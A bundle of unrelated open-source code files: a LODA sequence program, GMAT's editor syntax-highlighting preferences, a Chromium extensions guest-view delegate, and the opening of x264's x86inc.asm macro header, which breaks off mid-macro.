lpb $13
mov $0,$11
sub $13,1
add $0,$13
sub $0,1
mov $7,$0
mov $9,2
lpb $9
clr $0,7
mov $0,$7
sub $9,1
add $0,$9
sub $0,1
mov $2,$0
lpb $2
mov $4,$0
mov $0,$3
mul $0,2
sub $2,1
add $3,2
mul $3,2
add $3,$4
lpe
mov $1,$0
mov $10,$9
lpb $10
mov $8,$1
sub $10,1
lpe
lpe
lpb $7
mov $7,0
sub $8,$1
lpe
mov $1,$8
mov $14,$13
lpb $14
mov $12,$1
sub $14,1
lpe
lpe
lpb $11
mov $11,0
sub $12,$1
lpe
mov $1,$12
mov $18,$17
lpb $18
mov $16,$1
sub $18,1
lpe
lpe
lpb $15
mov $15,0
sub $16,$1
lpe
mov $1,$16
div $1,12
mul $1,2
add $20,$1
lpe
add $23,$20
lpe
mov $1,$23
|
//$Id$
//------------------------------------------------------------------------------
// EditorPreferences
//------------------------------------------------------------------------------
// GMAT: General Mission Analysis Tool
//
// Copyright (c) 2002 - 2015 United States Government as represented by the
// Administrator of the National Aeronautics and Space Administration.
// All Other Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// You may not use this file except in compliance with the License.
// You may obtain a copy of the License at:
// http://www.apache.org/licenses/LICENSE-2.0.
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
// express or implied. See the License for the specific language
// governing permissions and limitations under the License.
//
// Author: Linda Jun
// Created: 2009/01/15
//
/**
* Implements EditorPreferences.
*/
//------------------------------------------------------------------------------
#include "EditorPreferences.hpp"
//---------------------------------
// static data
//---------------------------------
//----------------------------------------------------------------------------
//! language types
const GmatEditor::CommonInfoType GmatEditor::globalCommonPrefs =
{
// editor functionality prefs
true, // syntaxEnable
true, // foldEnable
true, // indentEnable
// display defaults prefs
false, // overTypeInitial
false, // readOnlyInitial
false, // wrapModeInitial
false, // displayEOLEnable
false, // IndentGuideEnable
true, // lineNumberEnable
false, // longLineOnEnable
false, // whiteSpaceEnable
};
//----------------------------------------------------------------------------
// keywordlists
// GMAT
// @note
// These are GMAT default commands and types. Actual commands and types are
// retrieved via the GuiInterpreter::GetStringOfAllFactoryItemsExcept()
// and set to GMAT language preference in Editor constructor.
//
wxChar* GmatCommands =
_T("GMAT Create Global Maneuver Propagate Report Save Stop Toggle ")
_T("Achieve Vary Target Optimize Minimize PenDown PenUp ")
_T("For EndFor If Else EndIf While EndWhile Target EndTarget ")
_T("BeginFiniteBurn EndFiniteBurn BeginScript EndScript " )
_T("Spacecraft ForceModel Propagator FuelTank Thruster SolarSystem ")
_T("CoordinateSystem Variable Array String ReportFile XYPlot OpenGLPlot " )
_T("ImpulsiveBurn FiniteBurn DifferentialCorrector Optimizer MatlabFunction" );
wxChar* GmatObjectTypes =
_T("Spacecraft ForceModel Propagator FuelTank Thruster SolarSystem ")
_T("CoordinateSystem Variable Array String ReportFile XYPlot OpenGLPlot " )
_T("ImpulsiveBurn FiniteBurn DifferentialCorrector Optimizer MatlabFunction" );
wxChar* GmatComments =
_T("%");
// C++
wxChar* CppWordlist1 =
_T("asm auto bool break case catch char class const const_cast ")
_T("continue default delete do double dynamic_cast else enum explicit ")
_T("export extern false float for friend goto if inline int long ")
_T("mutable namespace new operator private protected public register ")
_T("reinterpret_cast return short signed sizeof static static_cast ")
_T("struct switch template this throw true try typedef typeid ")
_T("typename union unsigned using virtual void volatile wchar_t ")
_T("while");
wxChar* CppWordlist2 =
_T("file");
wxChar* CppWordlist3 =
_T("a addindex addtogroup anchor arg attention author b brief bug c ")
_T("class code date def defgroup deprecated dontinclude e em endcode ")
_T("endhtmlonly endif endlatexonly endlink endverbatim enum example ")
_T("exception f$ f[ f] file fn hideinitializer htmlinclude ")
_T("htmlonly if image include ingroup internal invariant interface ")
_T("latexonly li line link mainpage name namespace nosubgrouping note ")
_T("overload p page par param post pre ref relates remarks return ")
_T("retval sa section see showinitializer since skip skipline struct ")
_T("subsection test throw todo typedef union until var verbatim ")
_T("verbinclude version warning weakgroup $ @ \"\" & < > # { }");
// Python
wxChar* PythonWordlist1 =
_T("and assert break class continue def del elif else except exec ")
_T("finally for from global if import in is lambda None not or pass ")
_T("print raise return try while yield");
wxChar* PythonWordlist2 =
_T("ACCELERATORS ALT AUTO3STATE AUTOCHECKBOX AUTORADIOBUTTON BEGIN ")
_T("BITMAP BLOCK BUTTON CAPTION CHARACTERISTICS CHECKBOX CLASS ")
_T("COMBOBOX CONTROL CTEXT CURSOR DEFPUSHBUTTON DIALOG DIALOGEX ")
_T("DISCARDABLE EDITTEXT END EXSTYLE FONT GROUPBOX ICON LANGUAGE ")
_T("LISTBOX LTEXT MENU MENUEX MENUITEM MESSAGETABLE POPUP PUSHBUTTON ")
_T("RADIOBUTTON RCDATA RTEXT SCROLLBAR SEPARATOR SHIFT STATE3 ")
_T("STRINGTABLE STYLE TEXTINCLUDE VALUE VERSION VERSIONINFO VIRTKEY");
//----------------------------------------------------------------------------
//! languages
//------------------------------------------------
// Lexical states for SCLEX_MATLAB (from stc.h)
//------------------------------------------------
//#define wxSTC_MATLAB_DEFAULT 0
//#define wxSTC_MATLAB_COMMENT 1
//#define wxSTC_MATLAB_COMMAND 2
//#define wxSTC_MATLAB_NUMBER 3
//#define wxSTC_MATLAB_KEYWORD 4
// single quoted string
//#define wxSTC_MATLAB_STRING 5
//#define wxSTC_MATLAB_OPERATOR 6
//#define wxSTC_MATLAB_IDENTIFIER 7
//#define wxSTC_MATLAB_DOUBLEQUOTESTRING 8
//------------------------------------------------
const GmatEditor::LanguageInfoType GmatEditor::globalLanguagePrefs [] =
{
//-------------------------------------------------------
// GMAT script, function, Matlab scripts (style 0)
//-------------------------------------------------------
{_T("GMAT"),
_T("*.script;*.m;*.gmf"),
#if 1
// using matlab style - the order is defined in stc.h
wxSTC_LEX_MATLAB, // Shows GMAT comments, but no commands in predefined color
{{GMAT_STC_TYPE_DEFAULT, NULL}, // 0 DEFAULT
{GMAT_STC_TYPE_COMMENT, NULL}, // 1 COMMENT
{GMAT_STC_TYPE_COMMAND, NULL}, // 2 COMMAND
// {GMAT_STC_TYPE_COMMAND, GmatCommands}, // 2 COMMAND
{GMAT_STC_TYPE_NUMBER, NULL}, // 3 NUMBER
{GMAT_STC_TYPE_WORD1, NULL}, // 4 KEYWORDS
// {GMAT_STC_TYPE_WORD1, GmatObjectTypes}, // 4 KEYWORDS
{GMAT_STC_TYPE_STRING, NULL}, // 5 STRING
{GMAT_STC_TYPE_OPERATOR, NULL}, // 6 OPERATOR
{GMAT_STC_TYPE_IDENTIFIER, NULL}, // 7 IDENTIFIER
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL}},
GMAT_STC_FOLD_COMMENT | GMAT_STC_FOLD_COMPACT |
GMAT_STC_FOLD_PREPROC},
#endif
// using python style - the order is defined in stc.h
#if 0
wxSTC_LEX_PYTHON, // Shows GMAT commands and folds, but no comments, no object types
{{GMAT_STC_TYPE_DEFAULT, NULL}, // 0 DEFAULT
{GMAT_STC_TYPE_COMMENT_LINE, NULL}, // 1 COMMENTLINE
{GMAT_STC_TYPE_NUMBER, NULL}, // 2 NUMBER
{GMAT_STC_TYPE_STRING, NULL}, // 3 STRING
{GMAT_STC_TYPE_CHARACTER, NULL}, // 4 CHARACTER
{GMAT_STC_TYPE_WORD1, GmatCommands}, // 5 WORD
{GMAT_STC_TYPE_DEFAULT, NULL}, // 6 TRIPLE
{GMAT_STC_TYPE_DEFAULT, NULL}, // 7 TRIPLEDOUBLE
{GMAT_STC_TYPE_DEFAULT, NULL}, // 8 CLASSNAME
{GMAT_STC_TYPE_WORD2, GmatObjectTypes}, // 9 DEFNAME
{GMAT_STC_TYPE_OPERATOR, NULL}, // 10 OPERATOR
{GMAT_STC_TYPE_IDENTIFIER, NULL}, // 11 IDENTIFIER
{GMAT_STC_TYPE_COMMENT_DOC, NULL}, // 12 COMMENTBLOCK
{GMAT_STC_TYPE_STRING_EOL, NULL}, // 13 STRINGEOL
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL}},
GMAT_STC_FOLD_COMMENT | GMAT_STC_FOLD_COMPACT |
GMAT_STC_FOLD_PREPROC},
#endif
// cpp style
#if 0
wxSTC_LEX_CPP, // Shows GMAT commands, object types, but no comments, no folds
{{GMAT_STC_TYPE_DEFAULT, NULL},
{GMAT_STC_TYPE_COMMENT, NULL},
{GMAT_STC_TYPE_COMMENT_LINE, NULL},
{GMAT_STC_TYPE_COMMENT_DOC, NULL},
{GMAT_STC_TYPE_NUMBER, NULL},
{GMAT_STC_TYPE_WORD1, GmatCommands}, // KEYWORDS
{GMAT_STC_TYPE_STRING, NULL},
{GMAT_STC_TYPE_CHARACTER, NULL},
{GMAT_STC_TYPE_UUID, NULL},
{GMAT_STC_TYPE_PREPROCESSOR, NULL},
{GMAT_STC_TYPE_OPERATOR, NULL},
{GMAT_STC_TYPE_IDENTIFIER, NULL},
{GMAT_STC_TYPE_STRING_EOL, NULL},
{GMAT_STC_TYPE_DEFAULT, NULL}, // VERBATIM
{GMAT_STC_TYPE_REGEX, NULL},
{GMAT_STC_TYPE_COMMENT_SPECIAL, NULL}, // DOXY
{GMAT_STC_TYPE_WORD2, GmatObjectTypes},// EXTRA WORDS
{GMAT_STC_TYPE_WORD3, GmatCommands}, // DOXY KEYWORDS
{GMAT_STC_TYPE_ERROR, NULL}, // KEYWORDS ERROR
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL}},
GMAT_STC_FOLD_COMMENT | GMAT_STC_FOLD_COMPACT |
GMAT_STC_FOLD_PREPROC},
#endif
//======================================================================
// MATLAB
//======================================================================
{_T("MATLAB"),
_T("*.m;"),
wxSTC_LEX_MATLAB, // Shows GMAT comments, but no commands
{{GMAT_STC_TYPE_DEFAULT, NULL}, // 0 DEFAULT
{GMAT_STC_TYPE_COMMENT, NULL}, // 1 COMMENT
{GMAT_STC_TYPE_COMMAND, GmatCommands}, // 2 COMMAND
{GMAT_STC_TYPE_NUMBER, NULL}, // 3 NUMBER
{GMAT_STC_TYPE_WORD1, GmatObjectTypes}, // 4 KEYWORDS
{GMAT_STC_TYPE_STRING, NULL}, // 5 STRING
{GMAT_STC_TYPE_OPERATOR, NULL}, // 6 OPERATOR
{GMAT_STC_TYPE_IDENTIFIER, NULL}, // 7 IDENTIFIER
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL}},
GMAT_STC_FOLD_COMMENT | GMAT_STC_FOLD_COMPACT |
GMAT_STC_FOLD_PREPROC},
//======================================================================
// C++
//======================================================================
{_T("C++"),
_T("*.c;*.cc;*.cpp;*.cxx;*.cs;*.h;*.hh;*.hpp;*.hxx;*.sma"),
wxSTC_LEX_CPP,
{{GMAT_STC_TYPE_DEFAULT, NULL},
{GMAT_STC_TYPE_COMMENT, NULL},
{GMAT_STC_TYPE_COMMENT_LINE, NULL},
{GMAT_STC_TYPE_COMMENT_DOC, NULL},
{GMAT_STC_TYPE_NUMBER, NULL},
{GMAT_STC_TYPE_WORD1, CppWordlist1}, // KEYWORDS
{GMAT_STC_TYPE_STRING, NULL},
{GMAT_STC_TYPE_CHARACTER, NULL},
{GMAT_STC_TYPE_UUID, NULL},
{GMAT_STC_TYPE_PREPROCESSOR, NULL},
{GMAT_STC_TYPE_OPERATOR, NULL},
{GMAT_STC_TYPE_IDENTIFIER, NULL},
{GMAT_STC_TYPE_STRING_EOL, NULL},
{GMAT_STC_TYPE_DEFAULT, NULL}, // VERBATIM
{GMAT_STC_TYPE_REGEX, NULL},
{GMAT_STC_TYPE_COMMENT_SPECIAL, NULL}, // DOXY
{GMAT_STC_TYPE_WORD2, CppWordlist2}, // EXTRA WORDS
{GMAT_STC_TYPE_WORD3, CppWordlist3}, // DOXY KEYWORDS
{GMAT_STC_TYPE_ERROR, NULL}, // KEYWORDS ERROR
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL}},
GMAT_STC_FOLD_COMMENT | GMAT_STC_FOLD_COMPACT |
GMAT_STC_FOLD_PREPROC},
//======================================================================
// Python
//======================================================================
{_T("Python"),
_T("*.py;*.pyw"),
wxSTC_LEX_PYTHON,
{{GMAT_STC_TYPE_DEFAULT, NULL},
{GMAT_STC_TYPE_COMMENT_LINE, NULL},
{GMAT_STC_TYPE_NUMBER, NULL},
{GMAT_STC_TYPE_STRING, NULL},
{GMAT_STC_TYPE_CHARACTER, NULL},
{GMAT_STC_TYPE_WORD1, PythonWordlist1}, // KEYWORDS
{GMAT_STC_TYPE_DEFAULT, NULL}, // TRIPLE
{GMAT_STC_TYPE_DEFAULT, NULL}, // TRIPLEDOUBLE
{GMAT_STC_TYPE_DEFAULT, NULL}, // CLASSNAME
{GMAT_STC_TYPE_DEFAULT, PythonWordlist2}, // DEFNAME
{GMAT_STC_TYPE_OPERATOR, NULL},
{GMAT_STC_TYPE_IDENTIFIER, NULL},
{GMAT_STC_TYPE_DEFAULT, NULL}, // COMMENT_BLOCK
{GMAT_STC_TYPE_STRING_EOL, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL}},
GMAT_STC_FOLD_COMMENTPY | GMAT_STC_FOLD_QUOTESPY},
//======================================================================
// * (any)
//======================================================================
#ifdef _UNICODE
{(wxChar *)(wxString(DEFAULT_LANGUAGE).wc_str()),
#else
{(wxChar *)DEFAULT_LANGUAGE,
#endif
_T("*.*"),
wxSTC_LEX_PROPERTIES,
{{GMAT_STC_TYPE_DEFAULT, NULL},
{GMAT_STC_TYPE_DEFAULT, NULL},
{GMAT_STC_TYPE_DEFAULT, NULL},
{GMAT_STC_TYPE_DEFAULT, NULL},
{GMAT_STC_TYPE_DEFAULT, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL},
{-1, NULL}},
0},
};
const int GmatEditor::globalLanguagePrefsSize = WXSIZEOF(GmatEditor::globalLanguagePrefs);
//----------------------------------------------------------------------------
//! style types
const GmatEditor::StyleInfoType GmatEditor::globalStylePrefs [] =
{
// GMAT_STC_TYPE_DEFAULT 0
{_T("Default"),
_T("BLACK"), _T("WHITE"),
_T(""), 10, 0, 0},
// GMAT_STC_TYPE_WORD1 (with wxSTC_LEX_PYTHON, GMAT KeyWords shows in this color)
{_T("Keyword1"),
_T("BLUE"), _T("WHITE"),
//_T(""), 10, GMAT_STC_STYLE_BOLD, 0},
_T(""), 10, 0, 0},
// GMAT_STC_TYPE_WORD2
{_T("Keyword2"),
_T("RED"), _T("WHITE"),
_T(""), 10, 0, 0},
// GMAT_STC_TYPE_WORD3
{_T("Keyword3"),
_T("CORNFLOWER BLUE"), _T("WHITE"),
_T(""), 10, 0, 0},
// GMAT_STC_TYPE_WORD4
{_T("Keyword4"),
_T("CYAN"), _T("WHITE"),
_T(""), 10, 0, 0},
// GMAT_STC_TYPE_WORD5
{_T("Keyword5"),
_T("DARK GREY"), _T("WHITE"),
_T(""), 10, 0, 0},
// GMAT_STC_TYPE_WORD6
{_T("Keyword6"),
_T("GREY"), _T("WHITE"),
_T(""), 10, 0, 0},
// GMAT_STC_TYPE_COMMENT 7
{_T("Comment"),
_T("FOREST GREEN"), _T("WHITE"),
_T(""), 10, 0, 0},
// GMAT_STC_TYPE_COMMENT_DOC 8
{_T("Comment (Doc)"),
_T("FOREST GREEN"), _T("WHITE"),
_T(""), 10, 0, 0},
// GMAT_STC_TYPE_COMMENT_LINE 9
{_T("Comment line"),
_T("FOREST GREEN"), _T("WHITE"),
_T(""), 10, 0, 0},
// GMAT_STC_TYPE_COMMENT_SPECIAL 10
{_T("Special comment"),
_T("FOREST GREEN"), _T("WHITE"),
_T(""), 10, GMAT_STC_STYLE_ITALIC, 0},
// GMAT_STC_TYPE_CHARACTER (with wxSTC_LEX_PYTHON, string inside single quote) 11
{_T("Character"),
_T("PURPLE"), _T("WHITE"),
//_T("KHAKI"), _T("WHITE"),
_T(""), 10, 0, 0},
// GMAT_STC_TYPE_CHARACTER_EOL 12
{_T("Character (EOL)"),
_T("PURPLE"), _T("WHITE"),
//_T("KHAKI"), _T("WHITE"),
_T(""), 10, 0, 0},
// GMAT_STC_TYPE_STRING (with wxSTC_LEX_PYTHON, string inside double quote) 13
{_T("String"),
_T("BROWN"), _T("WHITE"),
_T(""), 10, 0, 0},
// GMAT_STC_TYPE_STRING_EOL 14
{_T("String (EOL)"),
_T("BROWN"), _T("WHITE"),
_T(""), 10, 0, 0},
// GMAT_STC_TYPE_DELIMITER 15
{_T("Delimiter"),
_T("ORANGE"), _T("WHITE"),
_T(""), 10, 0, 0},
// GMAT_STC_TYPE_PUNCTUATION 16
{_T("Punctuation"),
_T("ORANGE"), _T("WHITE"),
_T(""), 10, 0, 0},
// GMAT_STC_TYPE_OPERATOR (with wxSTC_LEX_PYTHON, () [] math operators shown in this color) 17
{_T("Operator"),
_T("BLACK"), _T("WHITE"),
//_T(""), 10, GMAT_STC_STYLE_BOLD, 0},
_T(""), 10, 0, 0},
// GMAT_STC_TYPE_BRACE 18
{_T("Label"),
_T("VIOLET"), _T("WHITE"),
_T(""), 10, 0, 0},
// GMAT_STC_TYPE_COMMAND 19
{_T("Command"),
_T("BLUE"), _T("WHITE"),
_T(""), 10, 0, 0},
// GMAT_STC_TYPE_IDENTIFIER (with wxSTC_LEX_PYTHON, statesments showns in this color) 20
{_T("Identifier"),
_T("BLACK"), _T("WHITE"),
_T(""), 10, 0, 0},
// GMAT_STC_TYPE_LABEL 21
{_T("Label"),
_T("VIOLET"), _T("WHITE"),
_T(""), 10, 0, 0},
// GMAT_STC_TYPE_NUMBER 22
{_T("Number"),
_T("SIENNA"), _T("WHITE"),
_T(""), 10, 0, 0},
// GMAT_STC_TYPE_PARAMETER 23
{_T("Parameter"),
_T("VIOLET"), _T("WHITE"),
_T(""), 10, GMAT_STC_STYLE_ITALIC, 0},
// GMAT_STC_TYPE_REGEX 24
{_T("Regular expression"),
_T("ORCHID"), _T("WHITE"),
_T(""), 10, 0, 0},
// GMAT_STC_TYPE_UUID 25
{_T("UUID"),
_T("ORCHID"), _T("WHITE"),
_T(""), 10, 0, 0},
// GMAT_STC_TYPE_VALUE 26
{_T("Value"),
_T("ORCHID"), _T("WHITE"),
_T(""), 10, GMAT_STC_STYLE_ITALIC, 0},
// GMAT_STC_TYPE_PREPROCESSOR 27
{_T("Preprocessor"),
_T("GREY"), _T("WHITE"),
_T(""), 10, 0, 0},
// GMAT_STC_TYPE_SCRIPT 28
{_T("Script"),
_T("DARK GREY"), _T("WHITE"),
_T(""), 10, 0, 0},
// GMAT_STC_TYPE_ERROR 29
{_T("Error"),
_T("RED"), _T("WHITE"),
_T(""), 10, 0, 0},
// GMAT_STC_TYPE_UNDEFINED 30
{_T("Undefined"),
_T("ORANGE"), _T("WHITE"),
_T(""), 10, 0, 0}
};
const int GmatEditor::globalStylePrefsSize = WXSIZEOF(GmatEditor::globalStylePrefs);
|
// Copyright 2015 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "extensions/browser/guest_view/extensions_guest_view_manager_delegate.h"
#include <memory>
#include <utility>
#include "components/guest_view/browser/guest_view_base.h"
#include "components/guest_view/browser/guest_view_manager.h"
#include "components/guest_view/common/guest_view_constants.h"
#include "content/public/browser/browser_context.h"
#include "content/public/browser/render_frame_host.h"
#include "content/public/browser/render_process_host.h"
#include "content/public/browser/render_view_host.h"
#include "extensions/browser/api/extensions_api_client.h"
#include "extensions/browser/event_router.h"
#include "extensions/browser/guest_view/app_view/app_view_guest.h"
#include "extensions/browser/guest_view/extension_options/extension_options_guest.h"
#include "extensions/browser/guest_view/extension_view/extension_view_guest.h"
#include "extensions/browser/guest_view/guest_view_events.h"
#include "extensions/browser/guest_view/mime_handler_view/mime_handler_view_guest.h"
#include "extensions/browser/guest_view/web_view/web_view_guest.h"
#include "extensions/browser/process_manager.h"
#include "extensions/browser/process_map.h"
#include "extensions/browser/view_type_utils.h"
#include "extensions/common/features/feature.h"
#include "extensions/common/features/feature_provider.h"
using guest_view::GuestViewBase;
using guest_view::GuestViewManager;
namespace extensions {
ExtensionsGuestViewManagerDelegate::ExtensionsGuestViewManagerDelegate(
content::BrowserContext* context)
: context_(context) {
}
ExtensionsGuestViewManagerDelegate::~ExtensionsGuestViewManagerDelegate() {
}
void ExtensionsGuestViewManagerDelegate::OnGuestAdded(
content::WebContents* guest_web_contents) const {
// Set the view type so extensions sees the guest view as a foreground page.
SetViewType(guest_web_contents, VIEW_TYPE_EXTENSION_GUEST);
}
void ExtensionsGuestViewManagerDelegate::DispatchEvent(
const std::string& event_name,
std::unique_ptr<base::DictionaryValue> args,
GuestViewBase* guest,
int instance_id) {
EventFilteringInfo info;
info.instance_id = instance_id;
std::unique_ptr<base::ListValue> event_args(new base::ListValue());
event_args->Append(std::move(args));
// GetEventHistogramValue maps guest view event names to their histogram
// value. It needs to be like this because the guest view component doesn't
// know about extensions, so GuestViewEvent can't have an
// extensions::events::HistogramValue as an argument.
events::HistogramValue histogram_value =
guest_view_events::GetEventHistogramValue(event_name);
DCHECK_NE(events::UNKNOWN, histogram_value) << "Event " << event_name
<< " must have a histogram value";
content::WebContents* owner = guest->owner_web_contents();
if (!owner)
return; // Could happen at tab shutdown.
EventRouter::DispatchEventToSender(
owner->GetRenderViewHost(), guest->browser_context(), guest->owner_host(),
histogram_value, event_name, std::move(event_args),
EventRouter::USER_GESTURE_UNKNOWN, info);
}
bool ExtensionsGuestViewManagerDelegate::IsGuestAvailableToContext(
GuestViewBase* guest) {
const Feature* feature =
FeatureProvider::GetAPIFeature(guest->GetAPINamespace());
if (!feature)
return false;
ProcessMap* process_map = ProcessMap::Get(context_);
CHECK(process_map);
const Extension* owner_extension = ProcessManager::Get(context_)->
GetExtensionForWebContents(guest->owner_web_contents());
// Ok for |owner_extension| to be nullptr, the embedder might be WebUI.
Feature::Availability availability = feature->IsAvailableToContext(
owner_extension,
process_map->GetMostLikelyContextType(
owner_extension,
guest->owner_web_contents()->GetMainFrame()->GetProcess()->GetID()),
guest->GetOwnerSiteURL());
return availability.is_available();
}
bool ExtensionsGuestViewManagerDelegate::IsOwnedByExtension(
GuestViewBase* guest) {
return !!ProcessManager::Get(context_)->
GetExtensionForWebContents(guest->owner_web_contents());
}
void ExtensionsGuestViewManagerDelegate::RegisterAdditionalGuestViewTypes() {
GuestViewManager* manager = GuestViewManager::FromBrowserContext(context_);
manager->RegisterGuestViewType<AppViewGuest>();
manager->RegisterGuestViewType<ExtensionOptionsGuest>();
manager->RegisterGuestViewType<ExtensionViewGuest>();
manager->RegisterGuestViewType<MimeHandlerViewGuest>();
manager->RegisterGuestViewType<WebViewGuest>();
}
} // namespace extensions
|
;*****************************************************************************
;* x86inc.asm
;*****************************************************************************
;* Copyright (C) 2005-2008 x264 project
;*
;* Authors: Loren Merritt <lorenm@u.washington.edu>
;* Anton Mitrofanov <BugMaster@narod.ru>
;*
;* Permission to use, copy, modify, and/or distribute this software for any
;* purpose with or without fee is hereby granted, provided that the above
;* copyright notice and this permission notice appear in all copies.
;*
;* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
;* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
;* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
;* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
;* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
;* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
;* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
;*****************************************************************************
; This is a header file for the x264ASM assembly language, which uses
; NASM/YASM syntax combined with a large number of macros to provide easy
; abstraction between different calling conventions (x86_32, win64, linux64).
; It also has various other useful features to simplify writing the kind of
; DSP functions that are most often used in x264.
; Unlike the rest of x264, this file is available under an ISC license, as it
; has significant usefulness outside of x264 and we want it to be available
; to the largest audience possible. Of course, if you modify it for your own
; purposes to add a new feature, we strongly encourage contributing a patch
; as this feature might be useful for others as well. Send patches or ideas
; to x264-devel@videolan.org .
%define program_name ff
%ifdef ARCH_X86_64
%ifidn __OUTPUT_FORMAT__,win32
%define WIN64
%else
%define UNIX64
%endif
%endif
%ifdef PREFIX
%define mangle(x) _ %+ x
%else
%define mangle(x) x
%endif
; FIXME: All of the 64bit asm functions that take a stride as an argument
; via register, assume that the high dword of that register is filled with 0.
; This is true in practice (since we never do any 64bit arithmetic on strides,
; and x264's strides are all positive), but is not guaranteed by the ABI.
; Name of the .rodata section.
; Kludge: Something on OS X fails to align .rodata even given an align attribute,
; so use a different read-only section.
%macro SECTION_RODATA 0-1 16
%ifidn __OUTPUT_FORMAT__,macho64
SECTION .text align=%1
%elifidn __OUTPUT_FORMAT__,macho
SECTION .text align=%1
fakegot:
%else
SECTION .rodata align=%1
%endif
%endmacro
%ifdef WIN64
%define PIC
%elifndef ARCH_X86_64
; x86_32 doesn't require PIC.
; Some distros prefer shared objects to be PIC, but nothing breaks if
; the code contains a few textrels, so we'll skip that complexity.
%undef PIC
%endif
%ifdef PIC
default rel
%endif
; Macros to eliminate most code duplication between x86_32 and x86_64:
; Currently this works only for leaf functions which load all their arguments
; into registers at the start, and make no other use of the stack. Luckily that
; covers most of x264's asm.
; PROLOGUE:
; %1 = number of arguments. loads them from stack if needed.
; %2 = number of registers used. pushes callee-saved regs if needed.
; %3 = number of xmm registers used. pushes callee-saved xmm regs if needed.
; %4 = list of names to define to registers
; PROLOGUE can also be invoked by adding the same options to cglobal
; e.g.
; cglobal foo, 2,3,0, dst, src, tmp
; declares a function (foo), taking two args (dst and src) and one local variable (tmp)
; TODO Some functions can use some args directly from the stack. If they're the
; last args then you can just not declare them, but if they're in the middle
; we need more flexible macro.
; RET:
; Pops anything that was pushed by PROLOGUE
; REP_RET:
; Same, but if it doesn't pop anything it becomes a 2-byte ret, for athlons
; which are slow when a normal ret follows a branch.
; registers:
; rN and rNq are the native-size register holding function argument N
; rNd, rNw, rNb are dword, word, and byte size
; rNm is the original location of arg N (a register or on the stack), dword
; rNmp is native size
%macro DECLARE_REG 6
%define r%1q %2
%define r%1d %3
%define r%1w %4
%define r%1b %5
%define r%1m %6
%ifid %6 ; i.e. it's a register
%define r%1mp %2
%elifdef ARCH_X86_64 ; memory
%define r%1mp qword %6
%else
%define r%1mp dword %6
%endif
%define r%1 %2
%endmacro
%macro DECLARE_REG_SIZE 2
%define r%1q r%1
%define e%1q r%1
%define r%1d e%1
%define e%1d e%1
%define r%1w %1
%define e%1w %1
%define r%1b %2
%define e%1b %2
%ifndef ARCH_X86_64
%define r%1 e%1
%endif
%endmacro
DECLARE_REG_SIZE ax, al
DECLARE_REG_SIZE bx, bl
DECLARE_REG_SIZE cx, cl
DECLARE_REG_SIZE dx, dl
DECLARE_REG_SIZE si, sil
DECLARE_REG_SIZE di, dil
DECLARE_REG_SIZE bp, bpl
; t# defines for when per-arch register allocation is more complex than just function arguments
%macro DECLARE_REG_TMP 1-*
%assign %%i 0
%rep %0
CAT_XDEFINE t, %%i, r%1
%assign %%i %%i+1
%rotate 1
%endrep
%endmacro
%macro DECLARE_REG_TMP_SIZE 0-*
%rep %0
%define t%1q t%1 %+ q
%define t%1d t%1 %+ d
%define t%1w t%1 %+ w
%define t%1b t%1 %+ b
%rotate 1
%endrep
%endmacro
DECLARE_REG_TMP_SIZE 0,1,2,3,4,5,6,7,8,9
%ifdef ARCH_X86_64
%define gprsize 8
%else
%define gprsize 4
%endif
%macro PUSH 1
push %1
%assign stack_offset stack_offset+gprsize
